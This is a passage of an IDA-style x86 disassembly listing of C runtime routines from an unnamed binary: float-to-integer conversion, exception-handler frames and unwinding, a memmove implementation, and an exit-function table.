loc_41C73C: ; CODE XREF: sub_41C679+84j
call sub_421014
add esp, 1Ch
loc_41C744: ; CODE XREF: sub_41C679+59j
; sub_41C679+67j ...
pop esi
pop ebx
leave
retn
sub_41C679 endp
; =============== S U B R O U T I N E =======================================
sub_41C748 proc near ; CODE XREF: ___:0041B78Dp
; sub_4218B2+21p
; DATA XREF: ...
call sub_41C760
call sub_4218B2
mov dword_4DB2CC, eax
call sub_421862
fnclex
retn
sub_41C748 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41C760 proc near ; CODE XREF: sub_41C748p
mov eax, offset sub_421CA0
mov off_43C8A4, offset sub_421935
mov off_43C8A0, eax
mov off_43C8A8, offset sub_42199B
mov off_43C8AC, offset sub_4218DB
mov off_43C8B0, offset sub_421983
mov off_43C8B4, eax
retn
sub_41C760 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C798 proc near ; CODE XREF: sub_40D030+1Bp
; sub_40D030+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_41C798 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C7BF(double)
sub_41C7BF proc near ; CODE XREF: sub_40D07C+82p
; ___:0040DD3Cp
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43A2A8
call sub_4217E9
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41C845
call sub_4216B1
pop ecx
test eax, eax
pop ecx
jle short loc_41C828
cmp eax, 2
jle short loc_41C81A
cmp eax, 3
jnz short loc_41C828
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_420FC1
add esp, 10h
jmp short loc_41C88A
; ---------------------------------------------------------------------------
loc_41C81A: ; CODE XREF: sub_41C7BF+3Fj
push esi
push ebx
call sub_4217E9
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41C88A
; ---------------------------------------------------------------------------
loc_41C828: ; CODE XREF: sub_41C7BF+3Aj
; sub_41C7BF+44j
fld [ebp+arg_0]
fadd dbl_427718
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_41C882
; ---------------------------------------------------------------------------
loc_41C845: ; CODE XREF: sub_41C7BF+2Fj
call sub_421676
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41C868
loc_41C85A: ; CODE XREF: sub_41C7BF+ACj
push esi
push ebx
call sub_4217E9
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41C88A
; ---------------------------------------------------------------------------
loc_41C868: ; CODE XREF: sub_41C7BF+99j
test bl, 20h
jnz short loc_41C85A
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_41C882: ; CODE XREF: sub_41C7BF+84j
call sub_421014
add esp, 1Ch
loc_41C88A: ; CODE XREF: sub_41C7BF+59j
; sub_41C7BF+67j ...
pop esi
pop ebx
leave
retn
sub_41C7BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C88E proc near ; CODE XREF: ___:00422182p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_41C88E endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_41C8C2 proc near ; CODE XREF: sub_4222C2+199p
; sub_422486+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41C8C2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41C8C9 proc near ; CODE XREF: sub_4222C2+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41C8C9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41C8D0 proc near ; CODE XREF: sub_41CA82+5Cp
; sub_422111:loc_422142p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_41C8F8
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_42675C
sub_41C8D0 endp
; ---------------------------------------------------------------------------
loc_41C8F8: ; DATA XREF: sub_41C8D0+11o
mov eax, [ebp+0Ch]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+0Ch]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp-8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
; ---------------------------------------------------------------------------
loc_41C91F: ; CODE XREF: ___:00426DFCj
; ___:00426E19j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_421D16
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C955 proc near ; CODE XREF: sub_42218C+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_41C9A9
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_422510
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_41C955 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C9A9 proc near ; DATA XREF: sub_41C955+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_421D16
add esp, 20h
pop ebp
retn
sub_41C9A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C9CE proc near ; CODE XREF: sub_421F58+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_41CA82
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_41CA54
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call dword_4DB324
pop ecx
pop ecx
and [ebp+var_34], 0
loc_41CA54: ; DATA XREF: sub_41C9CE+3Co
cmp [ebp+var_4], 0
jz short loc_41CA71
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_41CA7A
; ---------------------------------------------------------------------------
loc_41CA71: ; CODE XREF: sub_41C9CE+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_41CA7A: ; CODE XREF: sub_41C9CE+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_41C9CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CA82 proc near ; DATA XREF: sub_41C9CE+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_41CAA5
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_41CAF2
; ---------------------------------------------------------------------------
loc_41CAA5: ; CODE XREF: sub_41CA82+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_421D16
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_41CAE3
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41C8D0
; ---------------------------------------------------------------------------
loc_41CAE3: ; CODE XREF: sub_41CA82+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_41CAF2: ; CODE XREF: sub_41CA82+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41CA82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CAF7 proc near ; CODE XREF: sub_421DB1+C6p
; sub_421F58+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_41CB4E
loc_41CB15: ; CODE XREF: sub_41CAF7+52j
cmp esi, 0FFFFFFFFh
jnz short loc_41CB1F
call sub_4225B2
loc_41CB1F: ; CODE XREF: sub_41CAF7+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_41CB34
cmp ecx, [eax+8]
jle short loc_41CB39
loc_41CB34: ; CODE XREF: sub_41CAF7+36j
cmp esi, 0FFFFFFFFh
jnz short loc_41CB45
loc_41CB39: ; CODE XREF: sub_41CAF7+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_41CB45: ; CODE XREF: sub_41CAF7+40j
cmp [ebp+arg_4], 0
jge short loc_41CB15
mov eax, [ebp+var_4]
loc_41CB4E: ; CODE XREF: sub_41CAF7+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_41CB62
cmp esi, eax
jbe short loc_41CB67
loc_41CB62: ; CODE XREF: sub_41CAF7+65j
call sub_4225B2
loc_41CB67: ; CODE XREF: sub_41CAF7+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_41CAF7 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41CB74 proc near ; CODE XREF: sub_4234B8+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset sub_41CB8C
push [ebp+arg_0]
call sub_42675C
sub_41CB74 endp
; =============== S U B R O U T I N E =======================================
sub_41CB8C proc near ; DATA XREF: sub_41CB74+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41CB8C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41CB94 proc near ; DATA XREF: sub_41CBB6+Ao
; sub_41CC1E+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_41CBB5
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_41CBB5: ; CODE XREF: sub_41CB94+10j
retn
sub_41CB94 endp
; =============== S U B R O U T I N E =======================================
sub_41CBB6 proc near ; CODE XREF: sub_422232+Dp
; sub_4234B8+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_41CB94
push large dword ptr fs:0
mov large fs:0, esp
loc_41CBD3: ; CODE XREF: sub_41CBB6:loc_41CC0Ej
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41CC10
cmp esi, [esp+1Ch+arg_4]
jz short loc_41CC10
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41CC0E
push 101h
mov eax, [ebx+esi*4+8]
call sub_41CC4A
call dword ptr [ebx+esi*4+8]
loc_41CC0E: ; CODE XREF: sub_41CBB6+44j
jmp short loc_41CBD3
; ---------------------------------------------------------------------------
loc_41CC10: ; CODE XREF: sub_41CBB6+2Aj
; sub_41CBB6+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_41CBB6 endp
; =============== S U B R O U T I N E =======================================
sub_41CC1E proc near ; CODE XREF: sub_422252+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_41CB94
jnz short locret_41CC40
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_41CC40
mov eax, 1
locret_41CC40: ; CODE XREF: sub_41CC1E+10j
; sub_41CC1E+1Bj
retn
sub_41CC1E endp
; =============== S U B R O U T I N E =======================================
sub_41CC41 proc near ; CODE XREF: sub_422510+1Ep
; sub_422510+40p
push ebx
push ecx
mov ebx, offset dword_43A2AC
jmp short loc_41CC54
sub_41CC41 endp
; =============== S U B R O U T I N E =======================================
sub_41CC4A proc near ; CODE XREF: sub_41CBB6+4Fp
; sub_4234B8+78p
push ebx
push ecx
mov ebx, offset dword_43A2AC
mov ecx, [ebp+8]
loc_41CC54: ; CODE XREF: sub_41CC41+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_41CC4A endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_41CC64 proc near ; CODE XREF: sub_40D07C+5p
; sub_40D21E+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_41CC64 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41CC83 proc near ; CODE XREF: sub_40D6B3+26p
; ___:004264F2p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41B0B1
pop ecx
retn
sub_41CC83 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CC90 proc near ; CODE XREF: sub_40D724+3Ap
; sub_41DEA2+2EFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41CCB0
cmp edi, eax
jb loc_41CE28
loc_41CCB0: ; CODE XREF: sub_41CC90+16j
test edi, 3
jnz short loc_41CCCC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CCEC
rep movsd
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
loc_41CCCC: ; CODE XREF: sub_41CC90+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41CCE4
and eax, 3
add ecx, eax
jmp dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CCE4: ; CODE XREF: sub_41CC90+46j
jmp dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CCEC: ; CODE XREF: sub_41CC90+31j
; sub_41CC90+8Ej ...
jmp off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
db 90h
dd offset loc_41CD00
dd offset loc_41CD2C
dd offset loc_41CD50
; ---------------------------------------------------------------------------
loc_41CD00: ; DATA XREF: sub_41CC90+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41CCEC
rep movsd
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CD2C: ; DATA XREF: sub_41CC90+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41CCEC
rep movsd
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CD50: ; DATA XREF: sub_41CC90+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41CCEC
rep movsd
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CD6C dd offset loc_41CDCF ; DATA XREF: sub_41CC90:loc_41CCECr
dd offset loc_41CDBC
dd offset loc_41CDB4
dd offset loc_41CDAC
dd offset loc_41CDA4
dd offset loc_41CD9C
dd offset loc_41CD94
dd offset loc_41CD8C
; ---------------------------------------------------------------------------
loc_41CD8C: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41CD94: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41CD9C: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41CDA4: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41CDAC: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41CDB4: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41CDBC: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CDCF: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90:off_41CD6Co
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CDD8 dd offset loc_41CDE8 ; DATA XREF: sub_41CC90+35r
; sub_41CC90+92r ...
dd offset loc_41CDF0
dd offset loc_41CDFC
dd offset loc_41CE10
; ---------------------------------------------------------------------------
loc_41CDE8: ; CODE XREF: sub_41CC90+35j
; sub_41CC90+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CDF0: ; CODE XREF: sub_41CC90+35j
; sub_41CC90+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CDFC: ; CODE XREF: sub_41CC90+35j
; sub_41CC90+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CE10: ; CODE XREF: sub_41CC90+35j
; sub_41CC90+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CE28: ; CODE XREF: sub_41CC90+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41CE5C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CE50
std
rep movsd
cld
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CE50: ; CODE XREF: sub_41CC90+1B1j
; sub_41CC90+208j ...
neg ecx
jmp off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CE5C: ; CODE XREF: sub_41CC90+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41CE74
and eax, 3
sub ecx, eax
jmp dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CE74: ; CODE XREF: sub_41CC90+1D6j
; DATA XREF: sub_41CC90+1DDr
jmp off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CE87+1
dd offset loc_41CEA8
; ---------------------------------------------------------------------------
ror dh, 1
inc ecx
loc_41CE87: ; DATA XREF: sub_41CC90+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41CE50
std
rep movsd
cld
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CEA8: ; DATA XREF: sub_41CC90+1F0o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41CE50
std
rep movsd
cld
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41CE50
std
rep movsd
cld
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CF24
dd offset loc_41CF2C
dd offset loc_41CF34
dd offset loc_41CF3C
dd offset loc_41CF44
dd offset loc_41CF4C
dd offset loc_41CF54
off_41CF20 dd offset loc_41CF67 ; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------
loc_41CF24: ; DATA XREF: sub_41CC90+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41CF2C: ; DATA XREF: sub_41CC90+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41CF34: ; DATA XREF: sub_41CC90+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41CF3C: ; DATA XREF: sub_41CC90+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41CF44: ; DATA XREF: sub_41CC90+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41CF4C: ; DATA XREF: sub_41CC90+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41CF54: ; DATA XREF: sub_41CC90+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CF67: ; CODE XREF: sub_41CC90+1C2j
; DATA XREF: sub_41CC90:off_41CF20o
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41CF70 dd offset loc_41CF80 ; DATA XREF: sub_41CC90+1B7r
; sub_41CC90:loc_41CE74r ...
dd offset loc_41CF88
dd offset loc_41CF98
dd offset loc_41CFAC
; ---------------------------------------------------------------------------
loc_41CF80: ; CODE XREF: sub_41CC90+1B7j
; sub_41CC90:loc_41CE74j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CF88: ; CODE XREF: sub_41CC90+1B7j
; sub_41CC90:loc_41CE74j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CF98: ; CODE XREF: sub_41CC90+1B7j
; sub_41CC90:loc_41CE74j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CFAC: ; CODE XREF: sub_41CC90+1B7j
; sub_41CC90:loc_41CE74j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41CC90 endp
; =============== S U B R O U T I N E =======================================
sub_41CFC5 proc near ; CODE XREF: sub_40D78B+34p
; sub_40D78B+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_41B4E7
pop ecx
pop ecx
retn
sub_41CFC5 endp
; =============== S U B R O U T I N E =======================================
sub_41CFD3 proc near ; CODE XREF: sub_41D040+4p
arg_0 = dword ptr 4
push esi
push dword_4DC91C
call sub_422608
mov edx, dword_4DC91C
pop ecx
mov ecx, dword_4DC918
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_41D032
push edx
call sub_422608
add eax, 10h
push eax
push dword_4DC91C
call sub_41B202
add esp, 0Ch
test eax, eax
jnz short loc_41D015
retn
; ---------------------------------------------------------------------------
loc_41D015: ; CODE XREF: sub_41CFD3+3Fj
mov ecx, dword_4DC918
sub ecx, dword_4DC91C
mov dword_4DC91C, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov dword_4DC918, ecx
loc_41D032: ; CODE XREF: sub_41CFD3+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add dword_4DC918, 4
retn
sub_41CFD3 endp
; =============== S U B R O U T I N E =======================================
sub_41D040 proc near ; CODE XREF: sub_40D878+1Ap
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41CFD3
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_41D040 endp
; =============== S U B R O U T I N E =======================================
sub_41D052 proc near ; DATA XREF: ___:0042901Co
push 80h
call sub_41B4D5
test eax, eax
pop ecx
mov dword_4DC91C, eax
jnz short loc_41D073
